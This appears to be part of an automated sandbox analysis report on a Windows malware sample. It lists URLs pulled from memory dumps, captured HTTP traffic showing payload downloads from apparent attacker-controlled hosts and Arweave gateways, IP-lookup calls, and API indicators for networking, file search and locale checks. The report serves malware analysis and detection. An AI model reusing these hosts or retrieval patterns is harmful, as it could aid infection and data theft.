"https://r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc?" - Source: "00000000-00002132.00000001.165043.67210000.00000004.mdmp") Found URL "https://r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc?vary:" - Source: "00000000-00002132.00000001.165043.67210000.00000004.mdmp") Found URL "https://arweave.net/graphqlcontent-typeapplication/jsonn30'i.@suhmen=1w)j]/i2ntlmtsssppku2ucloudapwdigestsystemdrive=c:windir=c:\windowsprocessor_level=6systemroot=c:\windowsos=windows_ntpublic=c:\users\publicusername=hapubwspostacceptapplication/jsonhomedrive=c:homepath=\users\hapubwsnumber_of_processors=2processor_revision=4f00sessionname=consoleo*vlw*vl/)vl7)vl?)vl')vlw)vlg)vlo)vl_)vlo)vlw)vlg)vlg*vlgwk&c[?n30'n30'mnf" - Source: "00000000-00002132.00000002.166964.1FAA0000.00000004.mdmp") Found URL "https://r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc?srg" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?everisign," - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris21.3.6.1.4.1.311.10.3.30xx4b" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l)b*u1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l+'nzte3e(zm" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "https://api.myip.com/apioarsm6.1.80112000r.io.vnyip.com/x'ec" - Source: "00000000-00002132.00000002.166964.1FB32000.00000004.mdmp") Found URL "https://arweave.net/graphqlhttps://arweave-search.goldsky.com/graphqlhttps://arweave.fllstck.dev/graphqlhttps://ar.vnnode.com/graphqlhttps://ario.koltigin.xyz/graphqlhttps://ar.owlstake.com/graphqlhttps://ainodes.xyzhttps://arweave.fllstck.devhttps://ar.vnnode.comhttps://ar.owlstake.comabcdefghijklmnopqrstuvwxyz0123456789_abcdefghijklmnopqrstuvwxyz\screenshot" - Source: "00000000-00002132.00000002.166964.40000000.00000040.mdmp") Found URL "https://api.myip.com/.exeopenc:\6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin.exe!this" - Source: "00000000-00002132.00000002.166964.40000000.00000040.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=cmwzj%2bvi2wvxksdzfzwfo3vqtrsi%2bgwiusqvathbyahg4p3caiiqfn1w8o2%2bg7uewb7sviwstuaavmj8l2xygp2xxbxkygm6t6mj" - Source: "00000000-00002132.00000002.166964.672AA000.00000004.mdmp") Found URL "https://r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc?" - Source: "00000000-00002132.00000002.166964.672AA000.00000004.mdmp") Found URL "https://r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc?vary:" - Source: "00000000-00002132.00000002.166964.672AA000.00000004.mdmp") Found URL "https://arweave.net/graphqlhttps://arweave-search.goldsky.com/graphqlhttps://arweave.fllstck.dev/graphqlhttps://ar.vnnode.com/graphqlhttps://ario.koltigin.xyz/graphqlhttps://ar.owlstake.com/graphqlhttps://ainodes.xyzhttps://arweave.fllstck.devhttps://ar.vnnode.comhttps://ar.owlstake.comabcdefghijklmnopqrstuvwxyz0123456789_abcdefghijklmnopqrstuvwxyz\screenshot" - Source: "00000000-00002132.00000003.172467.00100000.00000004.mdmp") Found URL "https://api.myip.com/.exeopencx9eq$sdyzjq" - Source: "00000000-00002132.00000003.172467.00100000.00000004.mdmp") Found URL "https://arweave.net/graphql3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vnc:\windows\system32\cryptnet.dllobal\bd80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin.exeainodes.xyzc:\windows\system32\inetcomm.dllttps://ainodes.xyz/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vnmicrosoft" - Source: "00000000-00002132.00000003.172467.1FAEF000.00000004.mdmp") Found URL "https://api.myip.com/microsoft" - Source: "00000000-00002132.00000003.172467.1FAEF000.00000004.mdmp") Found URL "https://arweave.net/graphqlhttps://arweave-search.goldsky.com/graphqlhttps://arweave.fllstck.dev/graphqlhttps://ar.vnnode.com/graphqlhttps://ario.koltigin.xyz/graphqlhttps://ar.owlstake.com/graphqlhttps://ainodes.xyzhttps://arweave.fllstck.devhttps://ar.vnnode.comhttps://ar.owlstake.comabcdefghijklmnopqrstuvwxyz0123456789_abcdefghijklmnopqrstuvwxyz\screenshot" - Source: "00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found URL "https://api.myip.com/.exeopenc:\6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin.exe!this" - Source: "00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00002132.00000003.172467.67210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00002132.00000003.172467.67210000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00002132.00000003.172467.67210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00002132.00000003.172467.67210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002132.00000003.172467.67210000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00002132.00000003.172467.67210000.00000004.mdmp") Found URL "https://ainodes.xyz/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qcr3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vnapi.myip.comainodes.xyzapi.myip.comainodes.xyz=<5/microsoft" - Source: "00000000-00002132.00000003.172467.67227000.00000004.mdmp") Found URL "http://95.85.239.146:3000/1edhizdpmxlan8qesv-9mkmbtzafl6jsmxahe2bd3fz-ojlzstzj4ca" - Source: "00000000-00002132.00000003.172467.67227000.00000004.mdmp")2f:T4f8," HTTP/1.1 302 Found Server: nginx/1.24.0 (Ubuntu) Date: Wed 18 Mar 2026 06:19:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 145 Connection: keep-alive x-powered-by: Express access-control-allow-origin: * access-control-expose-headers: content-length content-encoding X-Payment X-Payment-Response X-AR-IO-Hops X-AR-IO-Origin X-AR-IO-Origin-Node-Release X-AR-IO-Digest Content-Digest X-AR-IO-Expected-Digest X-AR-IO-Stable X-AR-IO-Verified X-AR-IO-Trusted X-Cache X-AR-IO-Chunk-Source-Type X-AR-IO-Chunk-Host X-Arweave-Chunk-Data-Path X-Arweave-Chunk-Data-Root X-Arweave-Chunk-Start-Offset X-Arweave-Chunk-Relative-Start-Offset X-Arweave-Chunk-Read-Offset X-Arweave-Chunk-Tx-Data-Size X-Arweave-Chunk-Tx-Path X-Arweave-Chunk-Tx-Id X-Arweave-Chunk-Tx-Start-Offset X-AR-IO-Root-Transaction-Id X-AR-IO-Root-Path X-AR-IO-Root-Item-Offset X-AR-IO-Root-Item-Size X-AR-IO-Data-Item-Data-Offset X-AR-IO-Data-Item-Root-Parent-Offset X-AR-IO-Data-Item-Offset X-AR-IO-Data-Item-Size X-AR-IO-Root-Data-Item-Offset X-AR-IO-Root-Data-Offset X-ArNS-TTL-Seconds X-ArNS-Name X-ArNS-Basename X-ArNS-Record X-ArNS-Resolved-Id X-AR-IO-Data-Id X-ArNS-Process-Id X-ArNS-Resolved-At X-ArNS-Undername-Limit X-ArNS-Record-Index X-AR-IO-Via X-AR-IO-Negative-Cache location: https://r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn/juB1yB-6W6SjLqKkpuqblBQVpWWej0JR7UPZ8tgo5qc? vary: Accept x-envoy-upstream-service-time: 1 with response body ==>466F756E642E205265646972656374696E6720746F2068747470733A2F2F723371686C736137786A6E326A697A6F756B736B6E32753373716B626C6A6C667432....... "GET /juB1yB-6W6SjLqKkpuqblBQVpWWej0JR7UPZ8tgo5qc? HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Host: r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed 18 Mar 2026 06:19:05 GMT Content-Type: application/octet-stream Content-Length: 2063 Connection: keep-alive x-powered-by: Express access-control-allow-origin: * access-control-expose-headers: content-length content-encoding X-Payment X-Payment-Response X-AR-IO-Hops X-AR-IO-Origin X-AR-IO-Origin-Node-Release X-AR-IO-Digest Content-Digest X-AR-IO-Expected-Digest X-AR-IO-Stable X-AR-IO-Verified X-AR-IO-Trusted X-Cache X-AR-IO-Chunk-Source-Type X-AR-IO-Chunk-Host X-Arweave-Chunk-Data-Path X-Arweave-Chunk-Data-Root X-Arweave-Chunk-Start-Offset X-Arweave-Chunk-Relative-Start-Offset X-Arweave-Chunk-Read-Offset X-Arweave-Chunk-Tx-Data-Size X-Arweave-Chunk-Tx-Path X-Arweave-Chunk-Tx-Id X-Arweave-Chunk-Tx-Start-Offset X-AR-IO-Root-Transaction-Id X-AR-IO-Root-Path X-AR-IO-Root-Item-Offset X-AR-IO-Root-Item-Size X-AR-IO-Data-Item-Data-Offset X-AR-IO-Data-Item-Root-Parent-Offset X-AR-IO-Data-Item-Offset X-AR-IO-Data-Item-Size X-AR-IO-Root-Data-Item-Offset X-AR-IO-Root-Data-Offset X-ArNS-TTL-Seconds X-ArNS-Name X-ArNS-Basename X-ArNS-Record X-ArNS-Resolved-Id X-AR-IO-Data-Id X-ArNS-Process-Id X-ArNS-Resolved-At X-ArNS-Undername-Limit X-ArNS-Record-Index X-AR-IO-Via X-AR-IO-Negative-Cache x-ar-io-data-id: juB1yB-6W6SjLqKkpuqblBQVpWWej0JR7UPZ8tgo5qc accept-ranges: bytes cache-control: public max-age=43200 x-cache: HIT x-ar-io-hops: 1 x-ar-io-stable: false x-ar-io-verified: false x-ar-io-digest: pO1gjPZea6PBwAQvyWudSDKz71LwKtysg9t8q0L-XiU content-digest: sha-256=:pO1gjPZea6PBwAQvyWudSDKz71LwKtysg9t8q0L+XiU=: etag: "pO1gjPZea6PBwAQvyWudSDKz71LwKtysg9t8q0L-XiU" x-ar-io-trusted: true x-envoy-upstream-service-time: 4 with response body ==>2E0E571C11574F571E0642021914131C064045451405575957191C0601574F2E0E5701574F571A41051D2C25382F20451E3C274D2C1B4C19040103172F212042....... "GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Host: api.myip.com" Response ==> HTTP/1.1 200 OK Date: Wed 18 Mar 2026 06:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=CMWZj%2BvI2wvXKsdZfzWfO3vqTRSi%2BGWiusqvAThBYaHG4P3CAiIQfn1w8o2%2BG7UEwB7SviwsTUaAVmJ8l2xyGp2xXBXKyGM6t6mJ"}]} vary: Accept-Encoding Server: cloudflare x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: 9de21fb14e10fabe-SJC with response body ==>7B226970223A2236342E3132342E31322E313632222C22636F756E747279223A22556E6974656420537461746573222C226363223A225553227D.......39:T1296,file/memory contains long string with (Indicator: "WSARecv"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "WSASend"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "WSAStartup"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "m=nil base uint16uint32uint64stringstructrdtscppopcntCommoncomputespecialstorageversiondefaultexampleCopySidWSARecvWSASendconnectforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN, goid= s=nil" (Indicator: "WSARecv"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found reference to API "m=nil base uint16uint32uint64stringstructrdtscppopcntCommoncomputespecialstorageversiondefaultexampleCopySidWSARecvWSASendconnectforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN, goid= s=nil" (Indicator: "WSASend"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") file/memory contains long string with (Indicator: "WSASend"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") file/memory contains long string with (Indicator: "WSAStartup"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp")3a:T59e," "{"query":"query($owner:String!,$first:Int!){transactions(owners:[$owner],first:$first,sort:HEIGHT_DESC){edges{node{id tags{name value} block{height}}}}}", "variables":{"owner":"Gt7Wu5A1ciy6tQx04xkqzzPTJWbuZZWkOVFgDIw7cUs", "first":100}}" HTTP/1.1 200 OK Date: Wed 18 Mar 2026 06:19:04 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET POST HEAD OPTIONS Access-Control-Allow-Origin: * Cache-Control: no-store Cf-Cache-Status: DYNAMIC Cf-Ray: 9de21ef6ba31db63-IAD Vary: Accept-Encoding Vary: Origin X-Upstream-Url: https://neo.zephyrdev.xyz/graphql X-77-NZT: kzRf3BA0DRB4lWxJg+eXUb3T29eb8XyUKmMrtw/i4bx+nkwFG3KuhcM X-77-NZT-Ray: a667db37059c2fb7d843ba69c436a00a X-77-Cache: MISS Server: CDN77-Turbo X-77-POP: losangelesUSCA with response body ==>7B2264617461223A7B227472616E73616374696F6E73223A7B226564676573223A5B7B226E6F6465223A7B226964223A226A75423179422D365736536A4C714B.......40:T514,file/memory contains long string with (Indicator: "FindNextFile"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "FindFirstFile"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") file/memory contains long string with (Indicator: "FindNextFile"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") file/memory contains long string with (Indicator: "FindFirstFile"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp")41:T8da,Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp")42:T1334,Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpSetOption" (Indicator: "WinHttpSetOption"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 00000000-00002132.00000003.172467.40000000.00000040.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp, 00000000-00002132.00000001.165043.40000000.00000040.mdmp, 00000000-00002132.00000002.166964.40000000.00000040.mdmp, 00000000-00002132.00000003.172467.00100000.00000004.mdmp, 